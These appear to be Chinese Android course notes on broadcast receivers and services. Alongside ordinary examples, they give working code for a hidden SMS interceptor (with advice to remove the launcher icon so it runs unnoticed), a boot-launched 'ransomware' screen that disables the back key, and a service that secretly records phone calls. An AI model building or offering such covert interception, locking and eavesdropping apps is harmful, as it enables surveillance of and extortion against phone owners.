Android广播BroadcastReceiver
导语
07 广播 BroadcastReceiver 介绍
广播
- 广播的概念
- 现实:电台通过发送广播发布消息,买个收音机,就能收听
- 电台基站(官方,非官方) –>广播信号
- 收音机 –>接受信号
- Android:系统在产生某个事件时发送广播,应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。
- 现实:电台通过发送广播发布消息,买个收音机,就能收听
##android下广播机制设计的目的
* 手机里面Android系统在运行的过程中会有很多事件。
* 手机电量不足
* 手机开机
* 有人给你发送了短信
* 你向外拨打了电话
* 手机启动完毕
* 屏幕解锁
- google的android系统把常用的事件,做成了广播机制。一旦事件产生了,就向全系统发送一个广播消息。应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。
####如何使用内置的广播接受者
####(创建类似于Activity,四大组件都如此,先.继承一个类 后.配置一个清单)
1. 创建一个类继承 BroadcastReceiver (类似买了收音机)
2. 在清单中配置广播接受者(装上电池,配好频道)
<receiver android:name="com.itheima.ipdail.IpDailBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
3. 特殊的广播接受者,需要添加权限(如:开机自启动权限)。
4. 重写BroadcastReceiver类的onReceive(Context context, Intent intent)方法。
4. 通过intent拿到数据,并可以进行修改
public class CallReceiver extends BroadcastReceiver{
//当收到广播时,此方法调用
@Override
public void onReceive(Context context, Intent intent) {
//添加ip线路
//1.拿到用户拨打的号码,修改号码添加ip线路
String number = getResultData();
number = "17951" + number;
//2.把新号码设置进广播中
setResultData(number);
//此代码无效,因为打电话应用的广播接收者是最终接收者
//abortBroadcast();//阻止其他广播接收者接收这条广播,可以理解为拦截广播
}
}
#广播接收者
* 广播发出时,会先自己定义意图过滤器action和数据data(有时只定义意图过滤器action),发出广播后,被广播接收者接收。
* 当一条广播被发送出来时,系统会在所有清单文件中遍历(遍历所有,哪怕找到了,也还要继续遍历,直到把所有清单文件遍历一遍),通过匹配意图过滤器找到能接收这条广播的广播接收者
* 广播接收者一旦接收到了广播,就开始执行广播接受者里面的代码,若没有接收到匹配的广播,代码就不会执行
###一些常量
android.intent.action.NEW_OUTGOING_CALL:外拨电话
android.intent.action.PACKAGEADDED:应用被安装
android.intent.action.PACKAGEREMOVED:应用被移除
android.intent.action.PACKAGE_REPLACED:应用被替换
android.intent.action.MEDIAMOUNTED:sd卡被装载了
android.intent.action.MEDIAREMOVED:sd卡被移除了
android.intent.action.MEDIA_UNMOUNTED:sd卡未挂载
android.intent.action.BOOTCOMPLETED:一旦设备完成启动时触发。需要RECEIVE_BOOT_COMPLETED权限。
Mount:安装,登上
Boot:引导程序,启动,引导
##不同android版本的安全升级
* 2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。
- 4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止,应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。
#IP拨号器
原理:接收拨打电话的广播,修改广播内携带的电话号码
* 定义广播接收者接收打电话广播
public class CallReceiver extends BroadcastReceiver {
//当广播接收者接收到广播时,此方法会调用
@Override
public void onReceive(Context context, Intent intent) {
//拿到用户拨打的号码
String number = getResultData();
//修改广播内的号码,//同时把新号码设置进广播中
setResultData("17951" + number);
}
}
* 在清单文件中定义该广播接收者接收的广播类型
<receiver android:name="com.itheima.ipdialer.CallReceiver">
<intent-filter >
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
* 接收打电话广播需要权限
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
* 即使广播接收者的进程没有启动,当系统发送的广播可以被该接收者接收时,系统会自动启动该接收者所在的进程
#短信拦截器
系统收到短信时会产生一条广播,广播中包含了短信的号码和内容
- 1.定义广播接收者接收短信广播
public class SmsReceiver extends BroadcastReceiver { //intent:此对象就是广播中包含的那个intent @Override public void onReceive(Context context, Intent intent) { //从广播中取出短信的内容 Bundle bundle = intent.getExtras(); //数组中的每个元素,就是一条短信 Object[] objects = (Object[]) bundle.get("pdus"); for (Object object : objects) { //把object转换成短信对象 SmsMessage sms = SmsMessage.createFromPdu((byte[])object); //获取短信发送者的号码 String address = sms.getOriginatingAddress(); //获取短信的内容 String body = sms.getMessageBody(); if(address.equals("138438")){ //阻止其他广播接收者接收这条广播,可以理解为拦截广播 abortBroadcast(); } System.out.println(address + ":" + body); } } }
- 要理解:系统创建广播时,把短信存放到一个数组,然后把数据以pdus为key存入bundle,再把bundle存入intent
- 2.清单文件中配置广播接收者接收的广播类型,注意要设置优先级属性,要保证优先级高于短信应用,才可以实现拦截
<receiver android:name="com.itheima.smslistener.SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
- 3.添加权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
- 4.0之后,广播接收者所在的应用必须启动过一次,才能生效,第一次部署进手机时,要保留activity入口,让该应用执行一次,短信拦截器就运行在手机里,之后删除activity入口(就是删除快捷图标)这视为更新,神不知鬼不觉,拦截器就运行在手机里了。
- 4.0之后,如果广播接收者所在应用被用户手动关闭了,那么再也不会启动了,直到用户再次手动启动该应用
#监听SD卡状态
* 清单文件中定义广播接收者接收的类型,监听SD卡常见的三种状态,所以广播接收者需要接收三种广播
* 广播接收者的定义
/**
* 此广播接收者用于监听SD卡状态
* 吐司提示SD卡的状态
* @author Administrator
*
*/
public class SDStatusReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//判断收到的是什么广播
String action = intent.getAction();
if (intent.ACTION_MEDIA_MOUNTED.equals(action)) {
Toast.makeText(context, "SD卡可用", 0).show();
} else if(intent.ACTION_MEDIA_UNMOUNTED.equals(action)){
Toast.makeText(context, "SD卡不可用", 0).show();
}else if(intent.ACTION_MEDIA_REMOVED.equals(action)){
Toast.makeText(context, "SD卡被移除", 0).show();
}
}
}
#勒索软件
* 1.定义广播接收者
/**
* 此广播接收器用于开机启动勒索软件
* @author Administrator
*
*/
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//创建意图对象,准备开启新的Activity
Intent it = new Intent(context,MainActivity.class);
//创建新的任务栈,存启动的Activity
it.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
//启动Activity
context.startActivity(it);
}
}
* 2.清单文件中配置接收开机广播
* 3.权限
* 4.接收开机广播,在广播接收者中启动该勒索Activity,另外设置返回键失效
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@Override
public void onBackPressed() {
//注掉调用父类方法:此Activity返回键失效
//super.onBackPressed();
}
}
- 注意:
- 因为广播接收者的启动,并不会创建任务栈,而在广播接收者中需要启动Activity,那么没有任务栈,就无法启动activity
- 手动设置创建新任务栈的flag
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
#监听应用的安装、卸载、更新
原理:应用在安装卸载更新时,系统会发送广播,广播里会携带应用的包名
* 清单文件定义广播接收者接收的类型,因为要监听应用的三个动作,所以需要接收三种广播
- 广播接收者的定义
/** * 此广播接收者用于监听应用安装卸载 * @author Administrator * */ public class AppReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); Uri uri = intent.getData(); if (intent.ACTION_PACKAGE_ADDED.equals(action)) { Toast.makeText(context, uri+"安装了", 0).show(); }else if(intent.ACTION_PACKAGE_REMOVED.equals(action)){ Toast.makeText(context, uri+"卸载了", 0).show(); }else if(intent.ACTION_PACKAGE_REPLACED.equals(action)){ Toast.makeText(context, uri+"更新了", 0).show(); } } }
#广播的两种类型
* 无序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,并且是没有先后顺序(同时收到)
//发出无序广播:
public void click(View v){
//发送自定义广播
//1.定义意图对象
Intent intent = new Intent();
//2.设置action
intent.setAction(“com.itheima.a1”);
//3.发送广播
sendBroadcast(intent);
}
- 有序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,但是会按照广播接收者的优先级来决定接收的先后顺序
- sendOrderedBroadcast();
- 参数1:intent
- 参数2: String receiverPermission 应该是权限
- 参数3:最终接收者
- 参数4:Handler消息处理器
- 参数5:int数据
- 参数6:String数据
- 参数7:Bundles数据对象
public void fdm(View v){
//发送有序广播
Intent intent = new Intent();
intent.setAction(“com.itheima.fdm”);//发送有序广播 //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到 sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null); }
- 优先级的定义:
- -1000~1000
- 最终接收者:所有广播接收者都接收到广播之后,它才接收,并且一定会接收
public class MainActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void fdm(View v){ //发送有序广播 Intent intent = new Intent(); intent.setAction("com.itheima.fdm"); //发送有序广播 //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到 sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null); } //定义最终接收者 class MyReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { String order = getResultData(); System.out.println("反贪局收到文件" + order); } } }
- abortBroadcast();:阻止其他接收者接收这条广播,类似拦截,只有有序广播可以被拦截
- sendOrderedBroadcast();
##android应用程序的四大组件:
* activity 界面
* content provider 内容提供者 暴露应用程序私有的数据
* broadcast receiver 接受广播消息
* service 后台的服务
四大组件都要在清单文件配置,特殊广播接受者(代码,清单文件)
#二、Service
* 一个组件长期后台运行,没有界面。
* 就是默默运行在后台的组件,可以理解为是没有前台的activity,适合用来运行不需要前台界面的代码
* 服务可以被手动关闭,不会重启,但是如果被自动关闭,内存充足就会重启
* startService启动服务的生命周期
* onCreate()–>onStartCommand()–>onDestroy()
* 重复的调用startService会导致onStartCommand被重复调用
####如何创建一个服务(创建类似于Activity,四大组件都如此,1.继承一个 2.配置一个)
1. 创建一个类继承Service
2. 配置服务清单
<service android:name="com.itheima.service.MyService"></service>
3. 特殊的服务,需要添加权限。
4. 重写类的onBind(Intent intent)方法。
– 及onCreate()方法–>onStartCommand()方法–>onDestroy()方法
5. 通过主页面通过intent开启关闭服务
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
//点击事件:开启MyService服务
public void click1(View v){
//1.创建意图
Intent intent = new Intent(this,MyService.class);
//2.启动服务
startService(intent);
}
//点击事件:停止MyService服务
public void click2(View v){
//1.创建意图
Intent intent = new Intent(this,MyService.class);
//2.停止服务
stopService(intent);
}
}
进程优先级
- 前台进程:拥有一个正在与用户交互的activity(onResume方法被调用)的进程
- 可见进程:拥有一个非前台,但是对用户可见的activity(onPause方法被调用)的进程
- 服务进程:拥有一个通过startService方法启动的服务的进程
- 后台进程:拥有一个后台activity(onStop方法被调用)的进程
- 空进程:没有拥有任何活动的应用组件的进程,也就是没有任何服务和activity在运行
#电话窃听器
##音频捕获
* 首先需要一个手机电话管理的服务 TelephonyManager
- 创建 android.media.MediaRecorder.
mediaRecorder= new MediaRecorder();
- 设置音频源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频源来自麦克风,只能录自己麦克风单方面的话 (MediaRecorder.AudioSource.VOICE_CALL)//录双方通话,但是只有部分国产手机支持。
- 设置音频文件的编码格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
- 设置保存文件的路径
mediaRecorder.setOutputFile("/sdcard/temp.mp4");
- 设置音频的编码方式
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
- 准备开始录音
mediaRecorder.prepare() ;
- 开始录音
start();
- 停止录音
stop();
- 释放资源
release();
* 另外:录音使用下面的两个权限
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
##电话窃听器
* 电话状态:空闲、响铃、接听
- 1.获取电话管理器,设置侦听
- 设置侦听有两个参数
- 参数1:手机状态监听器,需继承PhoneStateListener类,重写里面的方法,实现对手机状态的监听,里面有许多方法
- 参数2:设置监听器只监听什么数据,无论你在手机状态监听器中重写了多少个方法,通过参数2,监听器只监听所设置的参数对应的数据,通过监听数据的变化,去调用不同的方法
@Override public void onCreate() { super.onCreate(); //获取电话管理器 TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); //设置侦听 //arg0:手机状态监听器 //arg1:设置监听器只监听什么数据 tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE); }
- 2.侦听对象的实现
private MediaRecorder recorder; class Mylistener extends PhoneStateListener{ //电话状态改变时,此方法调用 @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲 if(recorder != null){ recorder.stop(); //释放占用的资源 recorder.release(); recorder = null; } break; case TelephonyManager.CALL_STATE_RINGING://响铃 if(recorder == null){ recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setOutputFile("sdcard/voice.3gp"); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { //准备完毕后,随时可以录音 recorder.prepare(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } break; case TelephonyManager.CALL_STATE_OFFHOOK://摘机 if(recorder != null){ recorder.start(); } break; } } }
- 3.添加权限,
- 读取用户手机状态权限
- 写入SD卡权限
- 开机自启动权限
- 记录音频权限
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/>
–电话窃听器示例:—-
/**
* 此RecorderService服务:用于监听手机状态改变,实现电话窃听器功能
* 1、获取电话管理器,并对手机设置监听
* 2、定义一个手机监听器,实现电话窃听器功能
*
* @author Administrator
*
*/
public class RecorderService extends Service {
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
//获取电话管理器
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
//设置侦听
//arg1:设置监听器只监听什么数据
tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
}
//定义多媒体录音对象
private MediaRecorder recorder;
class Mylistener extends PhoneStateListener{
//电话状态改变时,此方法调用
@Override
public void onCallStateChanged(int state, String incomingNumber) {
// TODO Auto-generated method stub
super.onCallStateChanged(state, incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空闲
if(recorder != null){
//停止录音
recorder.stop();
//释放占用的资源
recorder.release();
recorder = null;
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃
if(recorder == null){
//获取多媒体录音对象
recorder = new MediaRecorder();
//设置音频源,MIC只能设置音频源来自麦克风,只能录自己麦克风单方面的话
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//设置音频文件的编码格式
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//设置保存文件的路径
recorder.setOutputFile("sdcard/voice.3gp");
//设置音频的编码方式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
//准备完毕后,随时可以录音,准备开始录音了
recorder.prepare();
} catch (Exception e) {
e.printStackTrace();
}
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://摘机
if(recorder != null){
//开始录音
recorder.start();
}
break;
}
}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
}